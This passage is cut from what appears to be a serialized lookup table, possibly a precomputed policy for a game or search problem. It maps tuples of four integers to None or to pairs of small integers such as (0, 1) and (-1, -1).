None, (1, 33, -4, 3): None, (1, 33, -4, 4): None, (1, 33, -4, 5): None, (1, 33, -3, -5): None, (1, 33, -3, -4): None, (1, 33, -3, -3): None, (1, 33, -3, -2): None, (1, 33, -3, -1): None, (1, 33, -3, 0): None, (1, 33, -3, 1): None, (1, 33, -3, 2): None, (1, 33, -3, 3): None, (1, 33, -3, 4): None, (1, 33, -3, 5): None, (1, 33, -2, -5): None, (1, 33, -2, -4): None, (1, 33, -2, -3): None, (1, 33, -2, -2): None, (1, 33, -2, -1): None, (1, 33, -2, 0): None, (1, 33, -2, 1): None, (1, 33, -2, 2): None, (1, 33, -2, 3): None, (1, 33, -2, 4): None, (1, 33, -2, 5): None, (1, 33, -1, -5): None, (1, 33, -1, -4): None, (1, 33, -1, -3): None, (1, 33, -1, -2): None, (1, 33, -1, -1): None, (1, 33, -1, 0): None, (1, 33, -1, 1): None, (1, 33, -1, 2): None, (1, 33, -1, 3): None, (1, 33, -1, 4): None, (1, 33, -1, 5): None, (1, 33, 0, -5): None, (1, 33, 0, -4): None, (1, 33, 0, -3): None, (1, 33, 0, -2): None, (1, 33, 0, -1): None, (1, 33, 0, 0): None, (1, 33, 0, 1): None, (1, 33, 0, 2): None, (1, 33, 0, 3): None, (1, 33, 0, 4): None, (1, 33, 0, 5): None, (1, 33, 1, -5): None, (1, 33, 1, -4): None, (1, 33, 1, -3): None, (1, 33, 1, -2): None, (1, 33, 1, -1): None, (1, 33, 1, 0): None, (1, 33, 1, 1): None, (1, 33, 1, 2): None, (1, 33, 1, 3): None, (1, 33, 1, 4): None, (1, 33, 1, 5): None, (1, 33, 2, -5): None, (1, 33, 2, -4): None, (1, 33, 2, -3): None, (1, 33, 2, -2): None, (1, 33, 2, -1): None, (1, 33, 2, 0): None, (1, 33, 2, 1): None, (1, 33, 2, 2): None, (1, 33, 2, 3): None, (1, 33, 2, 4): None, (1, 33, 2, 5): None, (1, 33, 3, -5): None, (1, 33, 3, -4): None, (1, 33, 3, -3): None, (1, 33, 3, -2): None, (1, 33, 3, -1): None, (1, 33, 3, 0): None, (1, 33, 3, 1): None, (1, 33, 3, 2): None, (1, 33, 3, 3): None, (1, 33, 3, 4): None, (1, 33, 3, 5): None, (1, 33, 4, -5): None, (1, 33, 4, -4): None, (1, 33, 4, -3): None, (1, 33, 4, -2): None, (1, 33, 4, -1): None, (1, 33, 4, 0): None, (1, 33, 4, 1): None, (1, 33, 4, 2): None, (1, 33, 4, 3): None, (1, 33, 4, 4): None, (1, 33, 4, 5): None, (1, 33, 5, -5): None, (1, 33, 5, -4): None, (1, 33, 5, -3): None, (1, 33, 5, -2): None, (1, 33, 5, -1): None, (1, 33, 5, 0): None, (1, 33, 5, 1): None, (1, 33, 5, 2): None, (1, 33, 5, 3): None, (1, 33, 5, 4): None, (1, 33, 5, 5): None, (1, 34, -5, -5): None, (1, 34, -5, -4): None, (1, 34, -5, -3): None, (1, 34, -5, -2): None, (1, 34, -5, -1): None, (1, 34, -5, 0): None, (1, 34, -5, 1): None, (1, 34, -5, 2): None, (1, 34, -5, 3): None, (1, 34, -5, 4): None, (1, 34, -5, 5): None, (1, 34, -4, -5): None, (1, 34, -4, -4): None, (1, 34, -4, -3): None, (1, 34, -4, -2): None, (1, 34, -4, -1): None, (1, 34, -4, 0): None, (1, 34, -4, 1): None, (1, 34, -4, 2): None, (1, 34, -4, 3): None, (1, 34, -4, 4): None, (1, 34, -4, 5): None, (1, 34, -3, -5): None, (1, 34, -3, -4): None, (1, 34, -3, -3): None, (1, 34, -3, -2): None, (1, 34, -3, -1): None, (1, 34, -3, 0): None, (1, 34, -3, 1): None, (1, 34, -3, 2): None, (1, 34, -3, 3): None, (1, 34, -3, 4): None, (1, 34, -3, 5): None, (1, 34, -2, -5): None, (1, 34, -2, -4): None, (1, 34, -2, -3): None, (1, 34, -2, -2): None, (1, 34, -2, -1): None, (1, 34, -2, 0): None, (1, 34, -2, 1): None, (1, 34, -2, 2): None, (1, 34, -2, 3): None, (1, 34, -2, 4): None, (1, 34, -2, 5): None, (1, 34, -1, -5): None, (1, 34, -1, -4): None, (1, 34, -1, -3): None, (1, 34, -1, -2): None, (1, 34, -1, -1): None, (1, 34, -1, 0): None, (1, 34, -1, 1): None, (1, 34, -1, 2): None, (1, 34, -1, 3): None, (1, 34, -1, 4): None, (1, 34, -1, 5): None, (1, 34, 0, -5): None, (1, 34, 0, -4): None, (1, 34, 0, -3): None, (1, 34, 0, -2): None, (1, 34, 0, -1): None, (1, 34, 0, 0): None, (1, 34, 0, 1): None, (1, 34, 0, 2): None, (1, 34, 0, 3): None, (1, 34, 0, 4): None, (1, 34, 0, 5): None, (1, 34, 1, -5): None, (1, 34, 1, -4): None, (1, 34, 1, -3): None, (1, 34, 1, -2): None, (1, 34, 1, -1): None, (1, 34, 1, 0): None, (1, 34, 1, 1): None, (1, 34, 1, 2): None, (1, 34, 1, 3): None, (1, 34, 1, 4): None, (1, 34, 1, 5): None, (1, 34, 2, -5): None, (1, 34, 2, -4): None, (1, 34, 2, -3): None, (1, 34, 2, -2): None, (1, 34, 2, -1): None, (1, 34, 2, 0): None, (1, 34, 2, 1): None, (1, 34, 2, 2): None, (1, 34, 2, 3): None, (1, 34, 2, 4): None, (1, 34, 2, 5): None, (1, 34, 3, -5): None, (1, 34, 3, -4): None, (1, 34, 3, -3): None, (1, 34, 3, -2): None, (1, 34, 3, -1): None, (1, 34, 3, 0): None, (1, 34, 3, 1): None, (1, 34, 3, 2): None, (1, 34, 3, 3): None, (1, 34, 3, 4): None, (1, 34, 3, 5): None, (1, 34, 4, -5): None, (1, 34, 4, -4): None, (1, 34, 4, -3): None, (1, 34, 4, -2): None, (1, 34, 4, -1): None, (1, 34, 4, 0): None, (1, 34, 4, 1): None, (1, 34, 4, 2): None, (1, 34, 4, 3): None, (1, 34, 4, 4): None, (1, 34, 4, 5): None, (1, 34, 5, -5): None, (1, 34, 5, -4): None, (1, 34, 5, -3): None, (1, 34, 5, -2): None, (1, 34, 5, -1): None, (1, 34, 5, 0): None, (1, 34, 5, 1): None, (1, 34, 5, 2): None, (1, 34, 5, 3): None, (1, 34, 5, 4): None, (1, 34, 5, 5): None, (1, 35, -5, -5): None, (1, 35, -5, -4): None, (1, 35, -5, -3): None, (1, 35, -5, -2): None, (1, 35, -5, -1): None, (1, 35, -5, 0): None, (1, 35, -5, 1): None, (1, 35, -5, 2): None, (1, 35, -5, 3): None, (1, 35, -5, 4): None, (1, 35, -5, 5): None, (1, 35, -4, -5): None, (1, 35, -4, -4): None, (1, 35, -4, -3): None, (1, 35, -4, -2): None, (1, 35, -4, -1): None, (1, 35, -4, 0): None, (1, 35, -4, 1): None, (1, 35, -4, 2): None, (1, 35, -4, 3): None, (1, 35, -4, 4): None, (1, 35, -4, 5): None, (1, 35, -3, -5): None, (1, 35, -3, -4): None, (1, 35, -3, -3): None, (1, 35, -3, -2): None, (1, 35, -3, -1): None, (1, 35, -3, 0): None, (1, 35, -3, 1): None, (1, 35, -3, 2): None, (1, 35, -3, 3): None, (1, 35, -3, 4): None, (1, 35, -3, 5): None, (1, 35, -2, -5): None, (1, 35, -2, -4): None, (1, 35, -2, -3): None, (1, 35, -2, -2): None, (1, 35, -2, -1): None, (1, 35, -2, 0): None, (1, 35, -2, 1): None, (1, 35, -2, 2): None, (1, 35, -2, 3): None, (1, 35, -2, 4): None, (1, 35, -2, 5): None, (1, 35, -1, -5): None, (1, 35, -1, -4): None, (1, 35, -1, -3): None, (1, 35, -1, -2): None, (1, 35, -1, -1): None, (1, 35, -1, 0): None, (1, 35, -1, 1): None, (1, 35, -1, 2): None, (1, 35, -1, 3): None, (1, 35, -1, 4): None, (1, 35, -1, 5): None, (1, 35, 0, -5): None, (1, 35, 0, -4): None, (1, 35, 0, -3): None, (1, 35, 0, -2): None, (1, 35, 0, -1): None, (1, 35, 0, 0): None, (1, 35, 0, 1): None, (1, 35, 0, 2): None, (1, 35, 0, 3): None, (1, 35, 0, 4): None, (1, 35, 0, 5): None, (1, 35, 1, -5): None, (1, 35, 1, -4): None, (1, 35, 1, -3): None, (1, 35, 1, -2): None, (1, 35, 1, -1): None, (1, 35, 1, 0): None, (1, 35, 1, 1): None, (1, 35, 1, 2): None, (1, 35, 1, 3): None, (1, 35, 1, 4): None, (1, 35, 1, 5): None, (1, 35, 2, -5): None, (1, 35, 2, -4): None, (1, 35, 2, -3): None, (1, 35, 2, -2): None, (1, 35, 2, -1): None, (1, 35, 2, 0): None, (1, 35, 2, 1): None, (1, 35, 2, 2): None, (1, 35, 2, 3): None, (1, 35, 2, 4): None, (1, 35, 2, 5): None, (1, 35, 3, -5): None, (1, 35, 3, -4): None, (1, 35, 3, -3): None, (1, 35, 3, -2): None, (1, 35, 3, -1): None, (1, 35, 3, 0): None, (1, 35, 3, 1): None, (1, 35, 3, 2): None, (1, 35, 3, 3): None, (1, 35, 3, 4): None, (1, 35, 3, 5): None, (1, 35, 4, -5): None, (1, 35, 4, -4): None, (1, 35, 4, -3): None, (1, 35, 4, -2): None, (1, 35, 4, -1): None, (1, 35, 4, 0): None, (1, 35, 4, 1): None, (1, 35, 4, 2): None, (1, 35, 4, 3): None, (1, 35, 4, 4): None, (1, 35, 4, 5): None, (1, 35, 5, -5): None, (1, 35, 5, -4): None, (1, 35, 5, -3): None, (1, 35, 5, -2): None, (1, 35, 5, -1): None, (1, 35, 5, 0): None, (1, 35, 5, 1): None, (1, 35, 5, 2): None, (1, 35, 5, 3): None, (1, 35, 5, 4): None, (1, 35, 5, 5): None, (2, 32, -5, -5): (0, 1), (2, 32, -5, -4): (0, 1), (2, 32, -5, -3): (0, 1), (2, 32, -5, -2): (0, 1), (2, 32, -5, -1): (0, 1), (2, 32, -5, 0): (0, 1), (2, 32, -5, 1): (0, 1), (2, 32, -5, 2): (0, 1), (2, 32, -5, 3): (0, 0), (2, 32, -5, 4): (-1, -1), (2, 32, -5, 5): (0, 1), (2, 32, -4, -5): (0, 1), (2, 32, -4, -4): (0, 1), (2, 32, -4, -3): (0, 1), (2, 32, -4, -2): (0, 1), (2, 32, -4, -1): (0, 1), (2, 32, -4, 0): (0, 1), (2, 32, -4, 1): (0, 1), (2, 32, -4, 2): (0, 1), (2, 32, -4, 3): (0, 0), (2, 32, -4, 4): (-1, -1), (2, 32, -4, 5): (0, 1), (2, 32, -3, -5): (0, 1), (2, 32, -3, -4): (0, 1), (2, 32, -3, -3): (0, 1), (2, 32, -3, -2): (0, 1), (2, 32, -3, -1): (0, 1), (2, 32, -3, 0): (0, 1), (2, 32, -3, 1): (0, 1), (2, 32, -3, 2): (0, 1), (2, 32, -3, 3): (0, 0), (2, 32, -3, 4): (-1, -1), (2, 32, -3, 5): (0, 1), (2, 32, -2, -5): (0, 1), (2, 32, -2, -4): (0, 1), (2, 32, -2, -3): (0, 1), (2, 32, -2, -2): (0, 1), (2, 32, -2, -1): (0, 1), (2, 32, -2, 0): (0, 1), (2, 32, -2, 1): (0, 1), (2, 32, -2, 2): (0, 1), (2, 32, -2, 3): (0, 0), (2, 32, -2, 4): (-1, -1), (2, 32, -2, 5): (0, 1), (2, 32, -1, -5): (-1, 1), (2, 32, -1, -4): (1, 1), (2, 32, -1, -3): (-1, 1), (2, 32, -1, -2): (0, 1), (2, 32, -1, -1): (0, 1), (2, 32, -1, 0): (0, 1), (2, 32, -1, 1): (0, 1), (2, 32, -1, 2): (0, 1), (2, 32, -1, 3): (0, 0), (2, 32, -1, 4): (-1, -1), (2, 32, -1, 5): (0, 1), (2, 32, 0, -5): (-1, 1), (2, 32, 0, -4): (0, 1), (2, 32, 0, -3): (0, 1), (2, 32, 0, -2): (0, 1), (2, 32, 0, -1): (-1, 1), (2, 32, 0, 0): (-1, 1), (2, 32, 0, 1): (-1, 1), (2, 32, 0, 2): (-1, 1), (2, 32, 0, 3): (-1, 0), (2, 32, 0, 4): (-1, -1), (2, 32, 0, 5): (0, 1), (2, 32, 1, -5): (0, 1), (2, 32, 1, -4): (-1, 1), (2, 32, 1, -3): (-1, 1), (2, 32, 1, -2): (-1, 1), (2, 32, 1, -1): (-1, 1), (2, 32, 1, 0): (-1, 1), (2, 32, 1, 1): (-1, 1), (2, 32, 1, 2): (-1, 0), (2, 32, 1, 3): (-1, 1), (2, 32, 1, 4): (-1, 1), (2, 32, 1, 5): (-1, 1), (2, 32, 2, -5): (0, 1), (2, 32, 2, -4): (0, 1), (2, 32, 2, -3): (-1, 1), (2, 32, 2, -2): (-1, 1), (2, 32, 2, -1): (-1, 0), (2, 32, 2, 0): (-1, -1), (2, 32, 2, 1): (-1, 1), (2, 32, 2, 2): (-1, 1), (2, 32, 2, 3): (-1, 1), (2, 32, 2, 4): (-1, 1), (2, 32, 2, 5): (-1, 1), (2, 32, 3, -5): (0, 1), (2, 32, 3, -4): (0, 1), (2, 32, 3, -3): (0, 1), (2, 32, 3, -2): (-1, 1), (2, 32, 3, -1): (-1, 0), (2, 32, 3, 0): (-1, -1), (2, 32, 3, 1): (-1, 1), (2, 32, 3, 2): (-1, 1), (2, 32, 3, 3): (-1, 1), (2, 32, 3, 4): (-1, 1), (2, 32, 3, 5): (-1, 1), (2, 32, 4, -5): (-1, 1), (2, 32, 4, -4): (-1, 1), (2, 32, 4, -3): (-1, 1), (2, 32, 4, -2): (-1, 1), (2, 32, 4, -1): (-1, 0), (2, 32, 4, 0): (-1, -1), (2, 32, 4, 1): (-1, 1), (2, 32, 4, 2): (-1, 1), (2, 32, 4, 3): (-1, 1), (2, 32, 4, 4): (-1, 1), (2, 32, 4, 5): (-1, 1), (2, 32, 5, -5): (0, 1), (2, 32, 5, -4): (0, 1), (2, 32, 5, -3): (0, 1), (2, 32, 5, -2): (0, 1), (2, 32, 5, -1): (0, 1), (2, 32, 5, 0): (0, 1), (2, 32, 5, 1): (0, 1), (2, 32, 5, 2): (0, 1), (2, 32, 5, 3): (-1, 1), (2, 32, 5, 4): (-1, 1), (2, 32, 5, 5): (-1, 1), (2, 33, -5, -5): (0, 1), (2, 33, -5, -4): (0, 1), (2, 33, -5, -3): (0, 1), (2, 33, -5, -2): (0, 1), (2, 33, -5, -1): (0, 1), (2, 33, -5, 0): (0, 1), (2, 33, -5, 1): (0, 1), (2, 33, -5, 2): (0, 0), (2, 33, -5, 3): (-1, -1), (2, 33, -5, 4): (0, 1), (2, 33, -5, 5): (0, 1), (2, 33, -4, -5): (0, 1), (2, 33, -4, -4): (0, 1), (2, 33, -4, -3): (0, 1), (2, 33, -4, -2): (0, 1), (2, 33, -4, -1): (0, 1), (2, 33, -4, 0): (0, 1), (2, 33, -4, 1): (0, 1), (2, 33, -4, 2): (0, 0), (2, 33, -4, 3): (-1, -1), (2, 33, -4, 4): (0, 1), (2, 33, -4, 5): (0, 1), (2, 33, -3, -5): (0, 1), (2, 33, -3, -4): (0, 1), (2, 33, -3, -3): (0, 1), (2, 33, -3, -2): (0, 1), (2, 33, -3, -1): (0, 1), (2, 33, -3, 0): (0, 1), (2, 33, -3, 1): (0, 1), (2, 33, -3, 2): (0, 0), (2, 33, -3, 3): (-1, -1), (2, 33, -3, 4): (0, 1), (2, 33, -3, 5): (0, 1), (2, 33, -2, -5): (0, 1), (2, 33, -2, -4): (0, 1), (2, 33, -2, -3): (0, 1), (2, 33, -2, -2): (0, 1), (2, 33, -2, -1): (0, 1), (2, 33, -2, 0): (0, 1), (2, 33, -2, 1): (0, 1), (2, 33, -2, 2): (0, 0), (2, 33, -2, 3): (-1, -1), (2, 33, -2, 4): (0, 1), (2, 33, -2, 5): (0, 1), (2, 33, -1, -5): (1, 1), (2, 33, -1, -4): (-1, 1), (2, 33, -1, -3): (0, 1), (2, 33, -1, -2): (0, 1), (2, 33, -1, -1): (0, 1), (2, 33, -1, 0): (0, 1), (2, 33, -1, 1): (0, 1), (2, 33, -1, 2): (0, 0), (2, 33, -1, 3): (-1, -1), (2, 33, -1, 4): (0, 1), (2, 33, -1, 5): (0, 1), (2, 33, 0, -5): (0, 1), (2, 33, 0, -4): (0, 1), (2, 33, 0, -3): (0, 1), (2, 33, 0, -2): (-1, 1), (2, 33, 0, -1): (-1, 1), (2, 33, 0, 0): (-1, 1), (2, 33, 0, 1): (-1, 1), (2, 33, 0, 2): (-1, 0), (2, 33, 0, 3): (-1, -1), (2, 33, 0, 4): (0, 1), (2, 33, 0, 5): (0, 1), (2, 33, 1, -5): (-1, 1), (2, 33, 1, -4): (-1, 1), (2, 33, 1, -3): (-1, 1), (2, 33, 1, -2): (-1, 1), (2, 33, 1, -1): (-1, 1), (2, 33, 1, 0): (-1, 1), (2, 33, 1, 1): (-1, 0), (2, 33, 1, 2): (-1, 1), (2, 33, 1, 3): (-1, 1), (2, 33, 1, 4): (-1, 1), (2, 33, 1, 5): (-1, 1), (2, 33, 2, -5): (0, 1), (2, 33, 2, -4): (-1, 1), (2, 33, 2, -3): (-1, 1), (2, 33, 2, -2): (-1, 0), (2, 33, 2, -1): (-1, -1), (2, 33, 2, 0): (-1, -1), (2, 33, 2, 1): (-1, 1), (2, 33, 2, 2): (-1, 1), (2, 33, 2, 3): (-1, 1), (2, 33, 2, 4): (-1, 1), (2, 33, 2, 5): (-1, 1), (2, 33, 3, -5): (0, 1), (2, 33, 3, -4): (0, 1), (2, 33, 3, -3): (-1, 1), (2, 33, 3, -2): (-1, 0), (2, 33, 3, -1): (-1, -1), (2, 33, 3, 0): (-1, 1), (2, 33, 3, 1): (-1, 1), (2, 33, 3, 2): (-1, 1), (2, 33, 3, 3): (-1, 1), (2, 33, 3, 4): (-1, 1), (2, 33, 3, 5): (-1, 1), (2, 33, 4, -5): (-1, 1), (2, 33, 4, -4): (-1, 1), (2, 33, 4, -3): (-1, 1), (2, 33, 4, -2): (-1, 0), (2, 33, 4, -1): (-1, -1), (2, 33, 4, 0): (-1, 1), (2, 33, 4, 1): (-1, 1), (2, 33, 4, 2): (-1, 1), (2, 33, 4, 3): (-1, 1), (2, 33, 4, 4): (-1, 1), (2, 33, 4, 5): (-1, 1), (2, 33, 5, -5): (0, 1), (2, 33, 5, -4): (0, 1), (2, 33, 5, -3): (0, 1), (2, 33, 5, -2): (0, 0), (2, 33, 5, -1): (0, 1), (2, 33, 5, 0): (0, 1), (2, 33, 5, 1): (0, 1), (2, 33, 5, 2): (-1, 1), (2, 33, 5, 3): (-1, 1), (2, 33, 5, 4): (-1, 1), (2, 33, 5, 5): (-1, 1), (2, 34, -5, -5): (0, 1), (2, 34, -5, -4): (0, 1), (2, 34, -5, -3): (0, 1), (2, 34, -5, -2): (0, 1), (2, 34, -5, -1): (0, 1), (2, 34, -5, 0): (0, 1), (2, 34, -5, 1): (0, 0), (2, 34, -5, 2): (-1, -1), (2, 34, -5, 3): (0, 1), (2, 34, -5, 4): (0, 1), (2, 34, -5, 5): (0, 1), (2, 34, -4, -5): (0, 1), (2, 34, -4, -4): (0, 1), (2, 34, -4, -3): (0, 1), (2, 34, -4, -2): (0, 1), (2, 34, -4, -1): (0, 1), (2, 34, -4, 0): (0, 1), (2, 34, -4, 1): (0, 0), (2, 34, -4, 2): (-1, -1), (2, 34, -4, 3): (0, 1), (2, 34, -4, 4): (0, 1), (2, 34, -4, 5): (0, 1), (2, 34, -3, -5): (0, 1), (2, 34, -3, -4): (0, 1), (2, 34, -3, -3): (0, 1), (2, 34, -3, -2): (0, 1), (2, 34, -3, -1): (0, 1), (2, 34, -3, 0): (0, 1), (2, 34, -3, 1): (0, 0), (2, 34, -3, 2): (-1, -1), (2, 34, -3, 3): (0, 1), (2, 34, -3, 4): (0, 1), (2, 34, -3, 5): (0, 1), (2, 34, -2, -5): (0, 1), (2, 34, -2, -4): (0, 1), (2, 34, -2, -3): (0, 1), (2, 34, -2, -2): (0, 1), (2, 34, -2, -1): (0, 1), (2, 34, -2, 0): (0, 1), (2, 34, -2, 1): (0, 0), (2, 34, -2, 2): (-1, -1), (2, 34, -2, 3): (0, 1), (2, 34, -2, 4): (0, 1), (2, 34, -2, 5): (0, 1), (2, 34, -1, -5): (-1, 1), (2, 34, -1, -4): (0, 1), (2, 34, -1, -3): (0, 1), (2, 34, -1, -2): (0, 1), (2, 34, -1, -1): (0, 1), (2, 34, -1, 0): (0, 1), (2, 34, -1, 1): (0, 0), (2, 34, -1, 2): (-1, -1), (2, 34, -1, 3): (0, 1), (2, 34, -1, 4): (0, 1), (2, 34, -1, 5): (0, 1), (2, 34, 0, -5): (0, 1), (2, 34, 0, -4): (0, 1), (2, 34, 0, -3): (-1, 1), (2, 34, 0, -2): (-1, 1), (2, 34, 0, -1): (-1, 1), (2, 34, 0, 0): (-1, 1), (2, 34, 0, 1): (-1, 0), (2, 34, 0, 2): (-1, -1), (2, 34, 0, 3): (0, 1), (2, 34, 0, 4): (0, 1), (2, 34, 0, 5): (0, 1), (2, 34, 1, -5): (-1, 1), (2, 34, 1, -4): (-1, 1), (2, 34, 1, -3): (-1, 0), (2, 34, 1, -2): (-1, 1), (2, 34, 1, -1): (-1, 1), (2, 34, 1, 0): (-1, 1), (2, 34, 1, 1): (-1, 1), (2, 34, 1, 2): (-1, 1), (2, 34, 1, 3): (-1, 1), (2, 34, 1, 4): (-1, 1), (2, 34, 1, 5): (-1, 1), (2, 34, 2, -5): (-1, 1), (2, 34, 2, -4): (-1, 1), (2, 34, 2, -3): (-1, 0), (2, 34, 2, -2): (-1, -1), (2, 34, 2, -1): (-1, 0), (2, 34, 2, 0): (-1, 1), (2, 34, 2, 1): (-1, 1), (2, 34, 2, 2): (-1, 1), (2, 34, 2, 3): (-1, 1), (2, 34, 2, 4): (-1, 1), (2, 34, 2, 5): (-1, 1), (2, 34, 3, -5): (0, 1), (2, 34, 3, -4): (-1, 1), (2, 34, 3, -3): (-1, 0), (2, 34, 3, -2): (-1, -1), (2, 34, 3, -1): (-1, 0), (2, 34, 3, 0): (-1, 1), (2, 34, 3, 1): (-1, 1), (2, 34, 3, 2): (-1, 1), (2, 34, 3, 3): (-1, 1), (2, 34, 3, 4): (-1, 1), (2, 34, 3, 5): (-1, 1), (2, 34, 4, -5): (-1, 1), (2, 34, 4, -4): (-1, 1), (2, 34, 4, -3): (-1, 0), (2, 34, 4, -2): (-1, -1), (2, 34, 4, -1): (0, 1), (2, 34, 4, 0): (-1, 1), (2, 34, 4, 1): (-1, 1), (2, 34, 4, 2): (-1, 1), (2, 34, 4, 3): (-1, 1), (2, 34, 4, 4): (-1, 1), (2, 34, 4, 5): (-1, 1), (2, 34, 5, -5): (0, 1), (2, 34, 5, -4): (0, 1), (2, 34, 5, -3): (0, 1), (2, 34, 5, -2): (0, 1), (2, 34, 5, -1): (0, 1), (2, 34, 5, 0): (0, 1), (2, 34, 5, 1): (-1, 1), (2, 34, 5, 2): (-1, 1), (2, 34, 5, 3): (-1, 1), (2, 34, 5, 4): (-1, 1), (2, 34, 5, 5): (-1, 1), (2, 35, -5, -5): (0, 1), (2, 35, -5, -4): (0, 1), (2, 35, -5, -3): (0, 1), (2, 35, -5, -2): (0, 1), (2, 35, -5, -1): (0, 1), (2, 35, -5, 0): (0, 0), (2, 35, -5, 1): (-1, -1), (2, 35, -5, 2): (0, 1), (2, 35, -5, 3): (0, 1), (2, 35, -5, 4): (0, 1), (2, 35, -5, 5): (0, 1), (2, 35, -4, -5): (0, 1), (2, 35, -4, -4): (0, 1), (2, 35, -4, -3): (0, 1), (2, 35, -4, -2): (0, 1), (2, 35, -4, -1): (0, 1), (2, 35, -4, 0): (0, 0), (2, 35, -4, 1): (-1, -1), (2, 35, -4, 2): (0, 1), (2, 35, -4, 3): (0, 1), (2, 35, -4, 4): (0, 1), (2, 35, -4, 5): (0, 1), (2, 35, -3, -5): (0, 1), (2, 35, -3, -4): (0, 1), (2, 35, -3, -3): (0, 1), (2, 35, -3, -2): (0, 1), (2, 35, -3, -1): (0, 1), (2, 35, -3, 0): (0, 0), (2, 35, -3, 1): (-1, -1), (2, 35, -3, 2): (0, 1), (2, 35, -3, 3): (0, 1), (2, 35, -3, 4): (0, 1), (2, 35, -3, 5): (0, 1), (2, 35, -2, -5): (0, 1), (2, 35, -2, -4): (0, 1), (2, 35, -2, -3): (0, 1), (2, 35, -2, -2): (0, 1), (2, 35, -2, -1): (0, 1), (2, 35, -2, 0): (0, 0), (2, 35, -2, 1): (-1, -1), (2, 35, -2, 2): (0, 1), (2, 35, -2, 3): (0, 1), (2, 35, -2, 4): (0, 1), (2, 35, -2, 5): (0, 1), (2, 35, -1, -5): (0, 1), (2, 35, -1, -4): (0, 1), (2, 35, -1, -3): (0, 1), (2, 35, -1, -2): (0, 1), (2, 35, -1, -1): (0, 1), (2, 35, -1, 0): (0, 0), (2, 35, -1, 1): (-1, -1), (2, 35, -1, 2): (0, 1), (2, 35, -1, 3): (0, 1), (2, 35, -1, 4): (0, 1), (2, 35, -1, 5): (0, 1), (2, 35, 0, -5): (0, 1), (2, 35, 0, -4): (-1, 1), (2, 35, 0, -3): (-1, 1), (2, 35, 0, -2): (-1, 1), (2, 35, 0, -1): (-1, 1), (2, 35, 0, 0): (-1, 0), (2, 35, 0, 1): (-1, -1), (2, 35, 0, 2): (0, 1), (2, 35, 0, 3): (0, 1), (2, 35, 0, 4): (0, 1), (2, 35, 0, 5): (0, 1), (2, 35, 1, -5): (-1, 1), (2, 35, 1, -4): (-1, 0), (2, 35, 1, -3): (-1, 1), (2, 35, 1, -2): (-1, 1), (2, 35, 1, -1): (-1, 1), (2, 35, 1, 0): (-1, 1), (2, 35, 1, 1): (-1, 1), (2, 35, 1, 2): (-1, 1), (2, 35, 1, 3): (-1, 1), (2, 35, 1, 4): (-1, 1), (2, 35, 1, 5): (-1, 1), (2, 35, 2, -5): (-1, 1), (2, 35, 2, -4): (-1, 0), (2, 35, 2, -3): (-1, -1), (2, 35, 2, -2): (-1, 0), (2, 35, 2, -1): (-1, -1), (2, 35, 2, 0): (-1, 1), (2, 35, 2, 1): (-1, 1), (2, 35, 2, 2): (-1, 1), (2, 35, 2, 3): (-1, 1), (2, 35, 2, 4): (-1, 1), (2, 35, 2, 5): (-1, 1), (2, 35, 3, -5): (-1, 1), (2, 35, 3, -4): (-1, 0), (2, 35, 3, -3): (-1, -1), (2, 35, 3, -2): (-1, 0), (2, 35, 3, -1): (-1, 1), (2, 35, 3, 0): (-1, 1), (2, 35, 3, 1): (-1, 1), (2, 35, 3, 2): (-1, 1), (2, 35, 3, 3): (-1, 1), (2, 35, 3, 4): (-1, 1), (2, 35, 3, 5): (-1, 1), (2, 35, 4, -5): (-1, 1), (2, 35, 4, -4): (-1, 0), (2, 35, 4, -3): (-1, -1), (2, 35, 4, -2): (0, 1), (2, 35, 4, -1): (-1, 1), (2, 35, 4, 0): (-1, 1), (2, 35, 4, 1): (-1, 1), (2, 35, 4, 2): (-1, 1), (2, 35, 4, 3): (-1, 1), (2, 35, 4, 4): (-1, 1), (2, 35, 4, 5): (-1, 1), (2, 35, 5, -5): (0, 1), (2, 35, 5, -4): (0, 1), (2, 35, 5, -3): (0, 0), (2, 35, 5, -2): (0, 1), (2, 35, 5, -1): (0, 1), (2, 35, 5, 0): (-1, 1), (2, 35, 5, 1): (-1, 1), (2, 35, 5, 2): (-1, 1), (2, 35, 5, 3): (-1, 1), (2, 35, 5, 4): (-1, 1), (2, 35, 5, 5): (-1, 1), (3, 32, -5, -5): (0, 1), (3, 32, -5, -4): (0, 1), (3, 32, -5, -3): (0, 1), (3, 32, -5, -2): (0, 1), (3, 32, -5, -1): (0, 1), (3, 32, -5, 0): (0, 1), (3, 32, -5, 1): (0, 1), (3, 32, -5, 2): (0, 1), (3, 32, -5, 3): (0, 0), (3, 32, -5, 4): (-1, -1), (3, 32, -5, 5): (0, 1), (3, 32, -4, -5): (0, 1), (3, 32, -4, -4): (0, 1), (3, 32, -4, -3): (0, 1), (3, 32, -4, -2): (0, 1), (3, 32, -4, -1): (0, 1), (3, 32, -4, 0): (0, 1), (3, 32, -4, 1): (0, 1), (3, 32, -4, 2): (0, 1), (3, 32, -4, 3): (0, 0), (3, 32, -4, 4): (-1, -1), (3, 32, -4, 5): (0, 1), (3, 32, -3, -5): (0, 1), (3, 32, -3, -4): (0, 1), (3, 32, -3, -3): (0, 1), (3, 32, -3, -2): (0, 1), (3, 32, -3, -1): (0, 1), (3, 32, -3, 0): (0, 1), (3, 32, -3, 1): (0, 1), (3, 32, -3, 2): (0, 1), (3, 32, -3, 3): (0, 0), (3, 32, -3, 4): (-1, -1), (3, 32, -3, 5): (0, 1), (3, 32, -2, -5): (-1, 1), (3, 32, -2, -4): (1, 1), (3, 32, -2, -3): (-1, 1), (3, 32, -2, -2): (0, 1), (3, 32, -2, -1): (0, 1), (3, 32, -2, 0): (0, 1), (3, 32, -2, 1): (0, 1), (3, 32, -2, 2): (0, 1), (3, 32, -2, 3): (0, 0), (3, 32, -2, 4): (-1, -1), (3, 32, -2, 5): (0, 1), (3, 32, -1, -5): (-1, 1), (3, 32, -1, -4): (0, 1), (3, 32, -1, -3): (0, 1), (3, 32, -1, -2): (0, 1), (3, 32, -1, -1): (-1, 1), (3, 32, -1, 0): (-1, 1), (3, 32, -1, 1): (-1, 1), (3, 32, -1, 2): (-1, 1), (3, 32, -1, 3): (-1, 0), (3, 32, -1, 4): (-1, -1), (3, 32, -1, 5): (0, 1), (3, 32, 0, -5): (0, 1), (3, 32, 0, -4): (-1, 1), (3, 32, 0, -3): (-1, 1), (3, 32, 0, -2): (-1, 1), (3, 32, 0, -1): (-1, 1), (3, 32, 0, 0): (-1, 1), (3, 32, 0, 1): (-1, 0), (3, 32, 0, 2): (-1, -1), (3, 32, 0, 3): (-1, 1), (3, 32, 0, 4): (-1, 1), (3, 32, 0, 5): (-1, 1), (3, 32, 1, -5): (0, 1), (3, 32, 1, 